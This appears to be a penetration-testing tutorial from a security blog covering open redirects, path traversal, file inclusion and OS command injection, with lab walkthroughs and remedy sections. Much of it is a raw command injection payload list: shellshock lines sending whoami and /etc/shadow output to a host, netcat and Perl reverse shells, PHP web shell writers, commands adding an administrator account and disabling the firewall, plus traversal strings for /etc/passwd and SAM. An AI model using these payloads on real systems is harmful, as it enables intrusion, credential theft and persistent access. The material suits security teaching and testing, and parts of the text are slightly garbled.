Server-side HTTP Redirection

Server-side redirection vulnerabilities arise when an application takes user controllable input and incorporates it into a URL that it retrieves using a backend HTTP request.

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

Example

If no validation of the URL is specified in the “textfile” parameter, an attacker can specify an arbitrary hostname in place of textfiles.com.

The application retrieves the specified resource, allowing the attacker to use the application as a proxy to potentially sensitive back-end services.

The application response is google page

This vulnerability allows an attacker

  • An attacker may be able to use the proxy to attack third-party systems on the Internet. The malicious traffic appears to the target to originate from the server on which the vulnerable application is running.
  • An attacker may be able to use the proxy to connect to arbitrary hosts on the organization’s internal network, thereby reaching targets that cannot be accessed directly from the Internet.
  • An attacker may be able to use the proxy to connect back to other services running on the application server itself, circumventing firewall restrictions and potentially exploiting trust relationships to bypass authentication.
  • The proxy functionality could be used to deliver attacks such as cross-site scripting by causing the application to include attacker-controlled content within its responses

Steps to exploit this vulnerability

1. Identify any request parameters that appear to contain hostnames, IP addresses, or full URLs.

2. For each parameter, modify its value to specify an alternative resource, similar to the one being requested, and see if that resource appears in the server’s response

3. Try specifying a URL targeting a server on the Internet that you control, and monitor that server for incoming connections from the application you are testing.

4. If no incoming connection is received, monitor the time taken for the application to respond. If there is a delay, the application’s back-end requests may be timing out due to network restrictions on outbound connections.

5. If you are successful in using the functionality to connect to arbitrary URLs, try to perform the following attacks

  • Determine whether the port number can be specified. For example, you might supply http://mdattacker.net:22
  • If successful, attempt to port-scan the internal network by using a tool such as Burp Intruder to connect to a range of IP addresses and ports in sequence
  • Attempt to connect to other services on the loopback address of the application server
  • Attempt to load a web page that you control into the application’s response to deliver a cross-site scripting attack

Types of attacks

Header based

Header-based being a location-header sent from the server. The benefit with this, for an attacker’s perspective, is that the redirect always works even if Javascript is not interpreted. A server side function that gets a URL as input will follow the redirect and end up somewhere else.

Javascript based

When the redirect instead happens in Javascript it only works in scenarios where Javascript is actually executed. It might not work for server-side functions, but it will work in the victim’s web browser.

  • If the redirect happens in Javascript it might also be possible to cause a redirect to javascript:something(), which would be an XSS in itself.

Oauth

When you want to allow users to sign-up with external services, such as putting up a “Login with Facebook” or “Sign up with Google”-button you may choose to implement an Oauth-flow.

Remedy

Safe use of redirects and forwards can be done in a number of ways:

  • Simply avoid using redirects and forwards.
  • If used, do not allow the URL as user input for the destination.
  • Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.
  • This provides the highest degree of protection against the attack tampering with the URL.
  • Be careful that this doesn't introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets
  • If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
  • Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).
  • This should be based on a white-list approach, rather than a blacklist.
  • Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to confirm.

Input Validation

When attempting to validate and sanitize user-input to determine whether the URL is safe, wherever possible you should use a built in library or function to parse the URLs, such as parse_url() in PHP, rather than rolling your own parser using regex. Additionally, make sure that you take the following into account:

  • Input starting with a / to redirect to local pages is not safe. //example.org is a valid URL.
  • Input starting with the desired domain name is not safe. https://example.org.attacker.com is valid.
  • Only allow HTTP(S) protocols. All other protocols, including JavaScript URIs such as javascript:alert(1) should be blocked, SSH, etc
  • Data URIs such as data:text/html,<script>alert(document.domain)</script> should be blocked
  • URIs containing CRLF characters can lead to header injection or response splitting attacks, and should be blocked.

 

Basics of Path Traversal

Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.

Path traversal vulnerabilities arise when the application uses user-controllable (user supplied/untrusted) data to access files and directories on the application server or another backend file system in an unsafe way.

By submitting crafted input, an attacker may be able to cause arbitrary content to be read from, or written to, anywhere on the file system being accessed. Usually the same access as the application/user running the script.

https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion

Example

When the server processes this request, it follows these steps:

1. Extracts the value of the filename parameter from the query string.

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=include.php
  • page=include.php

2. Opens the file with this name.

  • include.php

3. Reads the file’s contents and returns it to the client.

This functionality is often found in work fl ow applications where users can share documents, in blogging and auction applications where users can upload images, and in informational applications where users can retrieve documents such as ebooks, technical manuals, and company reports.

1. Review the information gathered during application mapping to identify the following:

  • Any instance where a request parameter appears to contain the name of a file or directory, such as include=vk9.php or template=/en/ sidebar.
  • Any application functions whose implementation is likely to involve retrieval of data from a server file system (as opposed to a back-end database), such as documents or images.

2. Look for error messages or other anomalous events that are of interest. Try to find any evidence of instances where user-supplied data is being passed to file APIs or as parameters to operating system commands.

Detecting Path Traversal Vulnerabilities

Having identified the various potential targets for path traversal testing, you need to test every instance individually to determine whether user-controllable data is being passed to relevant file system operations in an unsafe manner.

1. Modify the parameter’s value to insert an arbitrary subdirectory and a single traversal sequence. For example, if the application submits this parameter:

  • file=foo/file1.txt

try submitting this value:

  • file=foo/bar/../file1.txt

If the application’s behavior is identical in the two cases, it may be vulnerable. You can also use absolute paths. You might be able to use an absolute path from the filesystem root, such as filename=/etc/passwd, to directly reference a file without using any traversal sequences.

  • file=/etc/passwd

Example

Successul

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=foo/../include.php

Unsuccessful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=foo/include.php

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/etc/passwd

2. If the application’s behavior is different in the two cases, it may be blocking, stripping, or sanitizing traversal sequences, resulting in an invalid file path.

The reason why this test is effective, even if the subdirectory “bar” does not exist, is that most common file systems perform canonicalization of the file path before attempting to retrieve it.

3. If the application function you are attacking provides read access to a file, attempt to access a known world-readable file on the operating system in question.

  • ../../../../../../../../../../../../etc/passwd
  • ../../../../../../../../../../../../windows/win.ini

Example

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/hosts

4. If the function you are attacking provides write access to a file, it may be more difficult to verify conclusively whether the application is vulnerable. One test that is often effective is to attempt to write two files –

one that should be writable by any user

  • ../../../../../../../../../../../../writetest.txt
  • ../../../../../../../../../../../../tmp/writetest.txt

one that should not be writable only by root or Administrator.

  • ../../../../../../../../../../../../windows/system32/config/sam
  • ../../../../../../../../../../../../tmp

5. An alternative method for verifying a traversal flaw with write access is to try to write a new file within the web root of the web server and then attempt to retrieve this with a browser. However, this method may not work

  • if you do not know the location of the web root directory
  • if the user context in which the file access occurs does not have permission to write there.

Circumventing Obstacles to Traversal Attacks

If your initial attempts to perform a traversal attack (as just described) are unsuccessful, this does not mean that the application is not vulnerable. There might be some filters protecting the application, these can be by passed.

First filter type

The first type of input filter commonly encountered involves checking whether the filename parameter contains any path traversal sequences. If it does, the filter either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter.

1. Always try path traversal sequences using both forward slashes and backslashes. Many input filters check for only one of these, when the filesystem may support both.

2. Try simple URL-encoded representations of traversal sequences using the following encodings. You might be able to use various non-standard encodings, such as ..%c0%af or ..%252f, to bypass the input filter. Be sure to encode every single slash and dot within your input:

  • Dot: %2e
  • Forward slash: %2f
  • Backslash: %5c

3. Try using 16-bit Unicode encoding:

  • Dot: %u002e
  • Forward slash: %u2215
  • Backslash: %u2216

4. Try double URL encoding:

  • Dot: %252e
  • Forward slash: %252f
  • Backslash: %255

5. Try overlong UTF-8 Unicode encoding: n

  • Dot: %c0%2e, %e0%40%ae, %c0ae,
  • Forward slash: %c0%af, %e0%80%af, %c0%2f, and so on
  • Backslash: %c0%5c, %c0%80%5

Example

  • web-security-academy.net/image?filename=..%252f..%252f..%252fetc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=%2fetc/passwd

6. If the application is attempting to sanitize user input by removing traversal sequences and does not apply this filter recursively, it may be possible to bypass the filter by placing one sequence within another, You might be able to use nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped

  • ....//
  • ....\/
  • ..../\
  • ....\\

Example

  • web-security-academy.net/image?filename=....//....//....//etc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=//etc/passwd

Second filter type

The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (file type) or prefix (starting directory) that the application expects.

1. Some applications check whether the user-supplied filename ends in a particular file type or set of file types and reject attempts to access anything else. Sometimes this check can be subverted by placing a URLencoded null byte at the end of your requested filename, followed by a file type that the application accepts. it might be possible to use a null byte to effectively terminate the file path before the required extension

  • ../../../../../boot.ini%00.jpg

Example

  • web-security-academy.net/image?filename=../../../../../etc/passwd%00.jpg

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/etc/passwd%00.php

2. Some applications attempt to control the file type being accessed by appending their own file-type suffix to the filename supplied by the user.

Some applications check whether the user-supplied filename starts with a particular subdirectory of the start directory, or even a specific filename. If an application requires that the user-supplied filename must start with the expected base folder, such as /var/www/images, then it might be possible to include the required base folder followed by suitable traversal sequences. This check can, of course, be bypassed easily as follows:

  • filestore/../../../../../../../etc/passwd

Example

  • web-security-academy.net/image?filename=/var/www/images/../../../../../../../etc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/var/www/../../../etc/passwd

3. If none of the preceding attacks against input filters is successful individually, the application might be implementing multiple types of filters. Therefore, you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem into separate stages

Successful

  • diagram1.jpg

Unsuccessful

  • foo//....//diagram1.jpg

try all the possible traversal sequence bypasses until a variation on the second request is successful.

Exploiting Traversal Vulnerabilities

You can exploit read access path traversal flaws to retrieve interesting files from the server that may contain directly useful information or that help you refi ne attacks against other vulnerabilities. For example:

  • Password files for the operating system and application
  • Server and application configuration files to discover other vulnerabilities or fi ne-tune a different attack
  • Include fi les that may contain database credentials
  • Data sources used by the application, such as MySQL database fi les or XML files
  • The source code to server-executable pages to perform a code review in search of bugs (for example, GetImage.aspx?file=GetImage.aspx)
  • Application log files that may contain usernames and session tokens and the like

If you find a path traversal vulnerability that grants write access, your main goal should be to exploit this to achieve arbitrary execution of commands on the server. Here are some ways to exploit this vulnerability:

  • Create scripts in users’ startup folders.
  • Modify fi les such as in.ftpd to execute arbitrary commands when a user next connects.
  • Write scripts to a web directory with execute permissions, and call them from your browser.

Finding File Inclusion Vulnerabilities

File inclusion vulnerabilities may arise in relation to any item of user-supplied data. They are particularly common in request parameters that specify a language or location.

Remote File Inclusion (RFI)

Consider an application that delivers different content to people in different locations. When users choose their location, this is communicated to the server via a request parameter, as follows:

  • https://vk9-sec.com/main.php?Country=US

The application processes the Country parameter as follows:

  • $country = $_GET[‘Country’]; include( $country . ‘.php’ );

This causes the execution environment to load the file US.php that is located on the web server file system. The contents of this file are effectively copied into the main.php fi le and executed.

First, specify an external URL as the location of the include file. The PHP include function accepts this as input, and the execution environment retrieves the specified file and executes its contents. Hence, an attacker can construct a malicious script containing arbitrarily complex content, host this on a web server he controls, and invoke it for execution via the vulnerable application function

  • https://vk9-sec.com/main.php?Country=http://192.168.0.110/backdoor

Exploitation Steps

  • Submit in each targeted parameter a URL for a resource on a web server that you control, and determine whether any requests are received from the server hosting the target application.
  • If the first test fails, try submitting a URL containing a nonexistent IP address, and determine whether a timeout occurs while the server attempts to connect.
  • If the application is found to be vulnerable to remote file inclusion, construct a malicious script using the available APIs in the relevant language, as described for dynamic execution attacks.

Local File Inclusion (LFI)

Sometimes, include files are loaded on the basis of user-controllable data, but it is not possible to specify a URL to a file on an external server. This is done with local files.

if user-controllable data is passed to the ASP function Server.Execute, an attacker may be able to cause an arbitrary ASP script to be executed, provided that this script belongs to the same application as the one that is calling the function.

There may be server-executable fi les on the server that you cannot access through the normal route. For example, any requests to the path /admin may be blocked through application-wide access controls. If you can cause sensitive functionality to be included into a page that you are authorized to access, you may be able to gain access to that functionality.

  • https://vk9-sec.com/example.php (denied)
  • https://vk9-sec.com/get-file.php?read=example.php (worked since we are reading it through a function)

Exploitation Steps

  • Submit the name of a known executable resource on the server, and determine whether any change occurs in the application’s behavior.
  • Submit the name of a known static resource on the server, and determine whether its contents are copied into the application’s response
  • If the application is vulnerable to local file inclusion, attempt to access any sensitive functionality or resources that you cannot reach directly via the web server
  • Test to see if you can access files in other directories using the traversal techniques described previously.

Remedy

the most effective means of eliminating path traversal vulnerabilities is to avoid passing user-submitted data to any file system API. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.

Most files that are not subject to any access control can simply be placed within the web root and accessed via a direct URL

  • The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn't possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
  • It can use a different identifier to specify which file is required, such as an index number. Any request containing an invalid identifier can be rejected, and there is no attack surface for users to manipulate the path of fi les delivered by the page.
  • After performing all relevant decoding and canonicalization of the user submitted filename, the application should check whether it contains either of the path traversal sequences (using backslashes or forward slashes) or any null bytes.
  • The application should use a hard-coded list of permissible fi le types and reject any request for a different type (after the preceding decoding and canonicalization have been performed).
  • After performing all its filtering on the user-supplied filename, the application should use suitable file system APIs to verify that nothing is amiss and that the fi le to be accessed using that filename is located in the start directory specified by the application.

In Java, this can be achieved by instantiating a java.io.File object using the user-supplied filename and then calling the getCanonicalPath method on this object. If the string returned by this method does not begin with the name of the start directory, the user has somehow bypassed the application’s input filters, and the request should be rejected.

  • After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory.
  • the chrooted directory is treated as if it is the file system root, and any redundant traversal sequences that attempt to step up above it are ignored.
  • The application should integrate its defenses against path traversal attacks with its logging and alerting mechanisms

Below is an example of some simple Java code to validate the canonical path of a file based on user input:

File file = new File(BASE_DIRECTORY, userInput);

if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {

// process file

}

 

Basic Command injection

Command injection is one of the top 10 OWASP vulnerability. it’s an attack in which arbitrary commands of a host OS are executed through a vulnerable application.

The attack is possible when a web application sends unsafe user data to the system shell function within the running script. This user data can be in any form such as forms, cookies, HTTP Methods, etc.

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

https://owasp.org/www-community/attacks/Command_Injection

Example of functions that can execute system commands

Functions Language
system, execlp,execvp, ShellExecute, _wsystem

shell_exec

C/C++

PHP

Runtime.exec Java
exec, eval, shell_exec PHP
exec, open, eval, Perl
exec, eval, execfile, input, os.system Python
Shell, ShellExecuteForExplore, ShellExecute VB

Verify parameters to inject data

  • GET: In this method input parameters are sent in URLs.
  • POST: In this method, input parameters are sent in the HTTP body.
  • HEADER: Discover end users and display requested information to the user based on the value in the headers.

Command injection can happen at

  • Cookies
  • X-Forwarded-For
  • User-agent
  • Referrer

Injection operators

Operators Description
; Test an injection flaw. The shell would run all the commands in sequence separated by the semicolon.
& It runs the first command then the second command.
&& It runs the command following  && only if the preceding command is successful
||(windows) Runs the first command then runs the second command only if the first command did not complete successfully.
|| ( Linux) Redirects standard outputs of the first command to standard input of the second command
The unquoting metacharacter is used to force the shell to interpret and run the command between the backticks. Following is an example of this command: Variable= “OS version uname -a” && echo $variable
() It is used to nest commands
# It is used as a command line comment

In order to properly test for command injection vulnerabilities, the following steps should be followed:

  • Step 1: Understand Attack Scenario (input field)
  • Step 2: Analyze Causes and Countermeasures (functionality)
  • Step 3: Start Testing and Exploring (start with ping time delay)
  • Step 4: Fine-tune Test Cases (use different operators and techniques)

There are 2 types of command Injection

Result or Error based injection

  • When an attacker injects a command through an input parameter and the output of that command is displayed on the certain web page, it proves that the application is vulnerable to the command injection.
  • The displayed result might be in the form of an error or the actual STDOUT of the command that you tried to run.

Blind based injection

  • The results of the commands that you inject will not be displayed to the attacker
  • no error messages are returned it similar as blind SQL injection

It is important that you consider different encodings and data format for additional command injection entry points such as: input fields, URL parameters, POST data, web service methods, user interface elements, environment variables, database contents, registry contents, file contents, third party APIs, and network packets.

  • file.txt"|dir%20c:
  • file.txt"|dir+c:

Example

We can see that user input is not sanitized. Input is collected and passed to shell_exec function

Testing the application

https://i0.wp.com/1.bp.blogspot.com/-JcmpZX-ceKo/WVt9tVTeVAI/AAAAAAAAQYI/Tqfv57CTflQ-1b1xXHRx3PsyRP-UbfAgwCLcBGAs/s1600/2.png?w=687&ssl=1

1. I entered a text “VK9 Security” and it is printed on screen

2. I will use the operator “;” to test sleep, time based injection, the application takes a while to respond, that means it is prone to command injection

  • VK9 ; sleep 60

Result

3. Knowing that the application is vulnerable, we can read sensitive files and list them, too

  • VK9 ; ls ; pwd

4. We can also run a reverse shell, first confirm if ‘nc’ is installed, otherwise, you can use bash, php, etc.

  • VK9 ; whereis nc

5. Start a listener in the local machine Kali/Parrot

  • nc -lvnp 4444

6. Run the netcat command to communicate back to our host

  • VK9 ; nc -e /bin/bash 192.168.0.7 4444

7. Check on the listener and you should get the reverse connection

  • whoami

Time delay

Ping can be used as a time delay command, depending on the number of requests the time may vary, even if the injection is blind

  • VK9 ; ping -c 15 google.com

Result

Writing a file to test Blind

1. We can use the echo default command to redirect output to a file using “>” operator

  • vk9 security > /tmp/vk9.txt

2. Access the file, it was saved in /tmp folder, using the browser

  • http://localhost/mutillidae/index.php?page=/tmp/vk9.txt

Out-of-band testing

We can use back quotes to execute a command, in this case we are using nslookup to print `whoami` output, it printed www-data.google.com back

  • vk9 & nslookup `whoami`.google.com

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

  • ` injected command `
  • $( injected command )

Remedy

https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code.

If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed.

  • Validating against a whitelist of permitted values.
  • Strong server-side validation
  • Implement a white list
  • OS Hardening
  • Use build-in API’s for interacting with the OS if needed. More secure!!
  • Avoid applications from calling out directly the OS system commands
  • Validating that the input is a number.
  • Validating that the input contains only alphanumeric characters, no other syntax or whitespace.
  • Never attempt to sanitize input by escaping shell metacharacters.

Cheatsheet

Some techniques are shown below

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

https://miro.medium.com/max/552/1*Rp_ei7uBe1m_PtsfDESMqg.png

Unix

&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;

&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;

&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;

&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;

/index.html|id|

;id;

;id

;netstat -a;

;id;

|id

|/usr/bin/id

|id|

|/usr/bin/id|

||/usr/bin/id|

|id;

||/usr/bin/id;

;id|

;|/usr/bin/id|

\n/bin/ls -al\n

\n/usr/bin/id\n

\nid\n

\n/usr/bin/id;

\nid;

\n/usr/bin/id|

\nid|

;/usr/bin/id\n

;id\n

|usr/bin/id\n

|nid\n

`id`

`/usr/bin/id`

a);id

a;id

a);id;

a;id;

a);id|

a;id|

a)|id

a|id

a)|id;

a|id

|/bin/ls -al

a);/usr/bin/id

a;/usr/bin/id

a);/usr/bin/id;

a;/usr/bin/id;

a);/usr/bin/id|

a;/usr/bin/id|

a)|/usr/bin/id

a|/usr/bin/id

a)|/usr/bin/id;

a|/usr/bin/id

;system('cat%20/etc/passwd')

;system('id')

;system('/usr/bin/id')

%0Acat%20/etc/passwd

%0A/usr/bin/id

%0Aid

%0A/usr/bin/id%0A

%0Aid%0A

& ping -i 30 127.0.0.1 &

& ping -n 30 127.0.0.1 &

%0a ping -i 30 127.0.0.1 %0a

`ping 127.0.0.1`

| id

& id

; id

%0a id %0a

`id`

$;/usr/bin/id

Windows

`

||

|

;

'

'"

"

"'

&

&&

%0a

%0a%0d

%0Acat%20/etc/passwd

%0Aid

%0a id %0a

%0Aid%0A

%0a ping -i 30 127.0.0.1 %0a

%0A/usr/bin/id

%0A/usr/bin/id%0A

%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1

%20{${phpinfo()}}

%20{${sleep(20)}}

%20{${sleep(3)}}

a|id|

a;id|

a;id;

a;id\n

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=16?user=\`whoami\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"

() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=5"

() { :;}; /bin/bash -c "sleep 1 && curl http://[Web IP]/.testing/shellshock.txt?sleep=1&?vuln=6"

() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"

() { :;}; /bin/bash -c "sleep 3 && curl http://[Web IP]/.testing/shellshock.txt?sleep=3&?vuln=7"

() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"

() { :;}; /bin/bash -c "sleep 6 && curl http://[Web IP]/.testing/shellshock.txt?sleep=6&?vuln=8"

() { :;}; /bin/bash -c "sleep 6 && curl http://[Web IP]/.testing/shellshock.txt?sleep=9&?vuln=9"

() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=17?user=\`whoami\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"

() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=4"

cat /etc/hosts

$(`cat /etc/passwd`)

cat /etc/passwd

() { :;}; curl http://[Web IP]/.testing/shellshock.txt?vuln=12

| curl http://example.com/.testing/rce.txt

& curl http://example.com/.testing/rce.txt

; curl https://example.com/.testing/rce_vuln.txt

&& curl https://example.com/.testing/rce_vuln.txt

curl https://example.com/.testing/rce_vuln.txt

curl https://example.com/.testing/rce_vuln.txt ||`curl https://example/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt

curl https://example.com/.testing/rce_vuln.txt ||`curl https://example/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt

$(`curl https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)

dir

| dir

; dir

$(`dir`)

& dir

&&dir

&& dir

| dir C:\

; dir C:\

& dir C:\

&& dir C:\

dir C:\

| dir C:\Documents and Settings\*

; dir C:\Documents and Settings\*

& dir C:\Documents and Settings\*

&& dir C:\Documents and Settings\*

dir C:\Documents and Settings\*

| dir C:\Users

; dir C:\Users

& dir C:\Users

&& dir C:\Users

dir C:\Users

;echo%20'<script>alert(1)</script>'

echo '<img src=https://example.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX

| echo "<?php include($_GET['page'])| ?>" > rfi.php

; echo "<?php include($_GET['page']); ?>" > rfi.php

& echo "<?php include($_GET['page']); ?>" > rfi.php

&& echo "<?php include($_GET['page']); ?>" > rfi.php

echo "<?php include($_GET['page']); ?>" > rfi.php

| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php

; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php

& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php

&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php

echo "<?php system('dir $_GET['dir']'); ?>" > dir.php

| echo "<?php system($_GET['cmd'])| ?>" > cmd.php

; echo "<?php system($_GET['cmd']); ?>" > cmd.php

& echo "<?php system($_GET['cmd']); ?>" > cmd.php

&& echo "<?php system($_GET['cmd']); ?>" > cmd.php

echo "<?php system($_GET['cmd']); ?>" > cmd.php

;echo '<script>alert(1)</script>'

echo '<script>alert(1)</script>'// XXXXXXXXXXX

echo '<script src=https://example.com/.testing/xss.js></script>'// XXXXXXXXXXX

| echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl

; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl

& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl

&& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl

echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl

() { :;}; echo vulnerable 10

eval('echo something’)

eval('ls')

eval('pwd')

eval('pwd');

eval('sleep 5')

eval('sleep 5');

eval('whoami')

eval('whoami');

exec('echo something’)

exec('ls')

exec('pwd')

exec('pwd');

exec('sleep 5')

exec('sleep 5');

exec('whoami')

exec('whoami');

;{$_GET["cmd"]}

`id`

|id

| id

;id

;id|

;id;

& id

&&id

;id\n

ifconfig

| ifconfig

; ifconfig

& ifconfig

&& ifconfig

/index.html|id|

ipconfig

| ipconfig /all

; ipconfig /all

& ipconfig /all

&& ipconfig /all

ipconfig /all

ls

$(`ls`)

| ls -l /

; ls -l /

& ls -l /

&& ls -l /

ls -l /

| ls -laR /etc

; ls -laR /etc

& ls -laR /etc

&& ls -laR /etc

| ls -laR /var/www

; ls -laR /var/www

& ls -laR /var/www

&& ls -laR /var/www

| ls -l /etc/

; ls -l /etc/

& ls -l /etc/

&& ls -l /etc/

ls -l /etc/

ls -lh /etc/

| ls -l /home/*

; ls -l /home/*

& ls -l /home/*

&& ls -l /home/*

ls -l /home/*

*; ls -lhtR /var/www/

| ls -l /tmp

; ls -l /tmp

& ls -l /tmp

&& ls -l /tmp

ls -l /tmp

| ls -l /var/www/*

; ls -l /var/www/*

& ls -l /var/www/*

&& ls -l /var/www/*

ls -l /var/www/*

<!--#exec cmd="/bin/cat /etc/passwd"-->

<!--#exec cmd="/bin/cat /etc/shadow"-->

<!--#exec cmd="/usr/bin/id;-->

\n

\n\033[2curl http://[Web IP]/.testing/term_escape.txt?vuln=1?user=\`whoami\`

\n\033[2wget http://[Web IP]/.testing/term_escape.txt?vuln=2?user=\`whoami\`

\n/bin/ls -al\n

| nc -lvvp 4444 -e /bin/sh|

; nc -lvvp 4444 -e /bin/sh;

& nc -lvvp 4444 -e /bin/sh&

&& nc -lvvp 4444 -e /bin/sh &

nc -lvvp 4444 -e /bin/sh

nc -lvvp 4445 -e /bin/sh &

nc -lvvp 4446 -e /bin/sh|

nc -lvvp 4447 -e /bin/sh;

nc -lvvp 4448 -e /bin/sh&

\necho INJECTX\nexit\n\033[2Acurl https://example.com/.testing/rce_vuln.txt\n

\necho INJECTX\nexit\n\033[2Asleep 5\n

\necho INJECTX\nexit\n\033[2Awget https://example.com/.testing/rce_vuln.txt\n

| net localgroup Administrators hacker /ADD

; net localgroup Administrators hacker /ADD

& net localgroup Administrators hacker /ADD

&& net localgroup Administrators hacker /ADD

net localgroup Administrators hacker /ADD

| netsh firewall set opmode disable

; netsh firewall set opmode disable

& netsh firewall set opmode disable

&& netsh firewall set opmode disable

netsh firewall set opmode disable

netstat

;netstat -a;

| netstat -an

; netstat -an

& netstat -an

&& netstat -an

netstat -an

| net user hacker Password1 /ADD

